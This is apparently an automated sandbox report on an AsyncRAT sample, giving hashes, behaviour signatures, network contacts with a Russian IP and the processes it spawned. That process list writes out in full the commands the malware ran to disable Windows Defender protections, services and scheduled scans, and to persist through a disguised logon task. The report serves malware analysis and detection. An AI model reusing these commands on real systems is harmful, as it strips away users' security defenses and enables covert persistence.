Analysis Overview
SHA256
d01b020acbaee9457d161a79b852932cc192a2dde3d47ac14292eab667aee068
Threat Level: Known bad
The file test.exe was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Modifies Windows Defender notification settings
Modifies security service
Modifies Windows Defender Real-time Protection settings
Async RAT payload
Downloads MZ/PE file
Executes dropped EXE
Checks computer location settings
Adds Run key to start application
Looks up external IP address via web service
Unsigned PE
Enumerates physical storage devices
Suspicious behavior: LoadsDriver
Uses Task Scheduler COM API
Suspicious use of AdjustPrivilegeToken
Delays execution with timeout.exe
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-28 21:32
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-28 21:31
Reported
2024-06-28 21:34
Platform
win10v2004-20240226-en
Max time kernel
152s
Max time network
157s
Command Line
Signatures
AsyncRat
Modifies Windows Defender Real-time Protection settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Windows\system32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1" | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Windows\system32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Windows\system32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\system32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Windows\system32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Windows\system32\reg.exe | N/A |
Modifies Windows Defender notification settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\Windows Defender Security Center\Notifications | C:\Windows\system32\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications | C:\Windows\system32\reg.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1" | C:\Windows\system32\reg.exe | N/A |
Modifies security service
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" | C:\Windows\system32\reg.exe | N/A |
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\svchost.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\svchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\csrss.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\test.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: LoadsDriver
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\svchost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\csrss.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c main.bat
C:\Windows\system32\openfiles.exe
openfiles
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
C:\Windows\system32\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
C:\Windows\system32\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
C:\Windows\system32\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
C:\Windows\system32\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
C:\Windows\system32\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
C:\Windows\system32\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
C:\Windows\system32\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
C:\Windows\system32\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
C:\Windows\system32\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
C:\Windows\system32\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
C:\Windows\system32\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
C:\Windows\system32\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe
dllhost.exe
C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "csrss" /tr '"C:\Users\Admin\AppData\Roaming\csrss.exe"' & exit
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8122.tmp.bat""
C:\Windows\system32\timeout.exe
timeout 3
C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "csrss" /tr '"C:\Users\Admin\AppData\Roaming\csrss.exe"'
C:\Users\Admin\AppData\Roaming\csrss.exe
"C:\Users\Admin\AppData\Roaming\csrss.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
C:\Windows\system32\curl.exe
curl api.ipify.org
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4004 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| RU | 185.188.183.18:80 | 185.188.183.18 | tcp |
| US | 8.8.8.8:53 | 18.183.188.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| GB | 142.250.187.202:443 | tcp | |
| US | 8.8.8.8:53 | 76.234.34.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 107.12.20.2.in-addr.arpa | udp |
| RU | 185.188.183.18:8848 | tcp | |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.83.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 104.26.13.205:80 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | 205.13.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.83.221.88.in-addr.arpa | udp |
| RU | 185.188.183.18:8848 | tcp | |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.83.221.88.in-addr.arpa | udp |
| RU | 185.188.183.18:8848 | tcp | |
| US | 8.8.8.8:53 | 105.246.116.51.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\main.bat
| MD5 | ea021e4f2f77ebf4e02a39c82172e240 |
| SHA1 | 98f921e1b0d0a1273fb1c9e9dcf6245cbd92c91a |
| SHA256 | c7c390518a2d06e2567eca287925058bcb8bc466cffe4c210fec0f9664f5bcde |
| SHA512 | 7f201842a37cd57751d800a950beb5369e010f6dae34b6241db1b9e3b64c86bfe30c2116039a0f8a80bc79bd8371dd707140a9fe564e6468c4accb1eb3861d65 |
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dllhost.exe
| MD5 | f75acc31206c792c4831f9aa52404b2b |
| SHA1 | c1380e151eba78a3ec395f46d76fbcd273c10afe |
| SHA256 | 7aaa38f2e289da72c6dc9b61d4951f34badc693798560f69ad42944eb470dbfd |
| SHA512 | 80614ccd2823c429867a421ca0464ed088f474c2399681be398982a440112fa1683680a2f4cf496bec98f23792ea5a74ece95fd0741499b9389a98ab72c5a72f |
memory/464-8-0x0000000000400000-0x000000000041D000-memory.dmp
memory/464-12-0x0000000000400000-0x000000000041D000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\svchost.exe
| MD5 | ee7346d7b4db0921b8e859072b561514 |
| SHA1 | 6c0ccc2bab163fdabe93d9e7ae5a6d723a422709 |
| SHA256 | 7ef4770b47759c0b35cf97edca41ff0d6a61265a4cf910e7454b46a915218deb |
| SHA512 | a1e04022702df848dad96ec28cb91fc9515b0ea03b1ed7f93deb8001e9a2efe4b49ac4ce848679cb591faf45505db6716cb5afe60f7754ba7a96d52cf595833f |
memory/464-23-0x0000000000400000-0x000000000041D000-memory.dmp
memory/6028-22-0x0000000000750000-0x0000000000762000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp8122.tmp.bat
| MD5 | 2597ac3c85981bf316f13034b441e0a8 |
| SHA1 | 50bc2ff44a804f0eb4355fb434a35fa1d626e2f2 |
| SHA256 | 3e9833c3e4c4157415e90fccb704132b71a01e6360b96fcdaac0b15e7582630c |
| SHA512 | 5eed20ab9f074cafd15bf59439ba77b29b488065f33b3dad28cbaa953d8a420bc87c9616ccc54b31ed42c4d6d65932633d9f253d91904c861dd46e83a70c8ca4 |
memory/5608-34-0x000000001DEB0000-0x000000001DF26000-memory.dmp
memory/5608-35-0x000000001D890000-0x000000001D8A0000-memory.dmp
memory/5608-36-0x000000001DE80000-0x000000001DE9E000-memory.dmp
memory/5608-37-0x000000001D9F0000-0x000000001D9FE000-memory.dmp